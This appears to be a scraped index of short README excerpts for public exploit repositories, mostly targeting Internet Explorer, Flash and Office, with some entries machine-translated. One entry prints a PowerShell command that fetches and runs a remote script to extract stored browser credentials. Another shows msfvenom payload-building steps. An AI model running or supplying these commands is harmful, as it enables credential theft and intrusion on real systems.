CVE-2017-8625_Bypass_UMCI

what is ! Windows Defender Device Guard ! Windows Defender Device Guard is a combination of enterprise-related hardware and software security features that, when configured together, will lock a device down so that it can only run trusted applications that you define in your code integrity...

GTranslate < 2.8.65 - Cross-Site Scripting

In the Pro and Enterprise versions of GTranslate 2.8.65, the gtranslaterequesturivar function runs at the top of all pages and echoes out the contents of $SERVER'REQUESTURI'. Although this uses addslashes, and most modern browsers automatically URLencode requests, this plugin is still vulnerable ...

CVE-2018-4878

Author and Credits Author: Vincent Yiu @vysecurity Credits: @evi1cg: Helping me test and keep me motivated @smgoreli: Original Calc.exe PoC @kbandla: He knows, and I know. ; Disclaimer Developed to encourage more Aggressor script development. Use only in authorized penetration testing! Descriptio...

CVE-2021-40444_builders

CVE-2021-40444 builders This repo contain builders of cab file, html file, and docx file for CVE-2021-40444 exploit. This repo is just for testing, research and educational purposes. You are responsible for how you use the code provided in this repo. The code is developed by reversing malware...

snuck

snuck Automatic XSS filter bypass Overview snuck is an automatic tool whose goal is to significantly test a given XSS filter by specializing the injections on the basis of the reflection context. This approach adopts Selenium to drive a web browser in reproducing both the attacker and the victim...

MS16-051-poc

CVE-2016-0189 Proof-of-Concept exploit for CVE-2016-0189 VBScript Memory Corruption in IE11 Tested on Windows 10 IE 11. Write-up https://www.deamwork.com/archives/patch-analysis-of-cve-2016-0189.orz6 To run 1. Download support/.dll or compile .cpp for yourself and exploit/.html to a directory. 2...

CVE-2014-4109

This crash is difficult to reproduce. The included proof of concept makes it a little easier to trigger the crashing code path. My super scientific process of checking the crash was to click on the url with one hand and press enter with the other. It usually crashes within 15 attempts. "IE=9" als...

js-driveby-download-CVE-2006-4777

js-driveby-download-CVE-2006-4777 client-side malware exploiting vulnerability in Internet Explorer 6.0 SP1 on Windows XP SP2. Requires no user consent and does not download any file. Shell Code Injection into RAM from JavaScript with IE on Windows XP. Fileless, drive-by-download, client side...

CVE-2019-1221

PoC exploit for CVE-2019-1221 Lost the origin of this PoC Targets Internet Explorer 11 32-bit on Windows 10 x64 upto RS5 Uses "VBScript.Encode" / CVE-2019-0768 so that exploit works up to RS5 Runs calc using WinExec...

CVE-2018-15982

Credits @Ridter https://github.com/Ridter/CVE-2018-15982EXP @prsecurity https://github.com/prsecurity/CVE-2018-15982 विवरण CVE-2018-15982 शोषण का उपयोग करके फ्लैश प्लेयर के लिए इंटरनेट एक्सप्लोरर ड्राइवबाय हमला शुरू करने के लिए एग्रेसर स्क्रिप्ट। प्रभावित उत्पाद संस्करण Adobe Flash Player होस्ट...

credgrap_ie_edge

credgrapieedge Content: Extract stored credentials from Internet Explorer and Edge Author: Florian Hansemann | @HanseSecure | https://hansesecure.de Date: 04/2018 Usage powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" Recommendation Powershell...

CVE-2019-0752

https://www.thezdi.com/blog/2019/5/21/rce-without-native-code-exploitation-of-a-write-what-where-in-internet-explorer CVE-2019-0752 के लिए PoC शोषण Windows 10 x64 पर Internet Explorer 11 32bit को RS4, RS5 तक लक्षित करता है? पॉवरशेल और ब्लॉक कमेंट के उपयोग से बचने के लिए adddition में कुछ path mag...

CVE-2018-15982_EXP_IE

CVE-2018-15982EXP उपयोग root@kitploit: msfvenom -p windows/exec cmd=calc.exe -f raw 86.bin msfvenom -p windows/x64/exec cmd=calc.exe -f raw 64.bin python CVE201815982.py -i 86.bin -I 64.bin आउटपुट exp.swf और index.html। डेमो https://twitter.com/Evi1cg/status/1071284773169950721...

detect_CVE-2026-21509

كشف ثغرة CVE-2026-21509 في MS Office يحتوي هذا المستودع على قاعدة YARA لاكتشاف مستندات RTF التي تحتوي على استغلال محتمل لثغرة CVE-2026-21509، وسكربت Python للتحقق مما إذا كانت ملفات MS Office تحتوي على كائنات OLE من نوع Shell.Explorer.1، والتي ترتبط بتلك الثغرة. انظر...

Internet-Explorer-UAF

इस रिपॉजिटरी में README नहीं है।...

CVE-2020-0674

CVE-2020-0674 CVE-2020-0674 is a use-after-free vulnerability in the legacy jscript engine. It can be triggered in Internet Explorer. The exploit here is written by maxpl0it but the vulnerability itself was discovered by Qihoo 360 being used in the wild. This exploit simply pops calc. Exploit...

CVE-2018-4878

लेखक और क्रेडिट्स लेखक: Vincent Yiu @vysecurity श्रेय: @evi1cg: मेरी मदद करने और मुझे प्रेरित रखने के लिए @smgoreli: मूल Calc.exe PoC @kbandla: वह जानता है, और मैं जानता हूँ। ; अस्वीकरण अधिक Aggressor स्क्रिप्ट विकास को प्रोत्साहित करने के लिए विकसित किया गया। केवल अधिकृत पैठ परीक्षण में उपयोग...

cve-2018-8389

jscript.dll - ActiveXObject BSTR - Use After Free Vulnerability Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code. Vulnerability Description A remote code execution vulnerability exists in the way that the scripting engine handles...

CVE-2023-36884

CVE-2023-36884 comeonits2023 ie9 Storm-0978 https://learn.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/general-info/ee330731v=vs.85 https://learn.microsoft.com/en-us/archive/blogs/ieinternals/internet-explorer-9-0-2-update...

angularjs-poc-cve-2022-25869

About This is a minimal Proof-Of-Concept for an AngularJS XSS vulnerability affecting Internet Explorer CVE-2022-25869. You can see it live at https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869...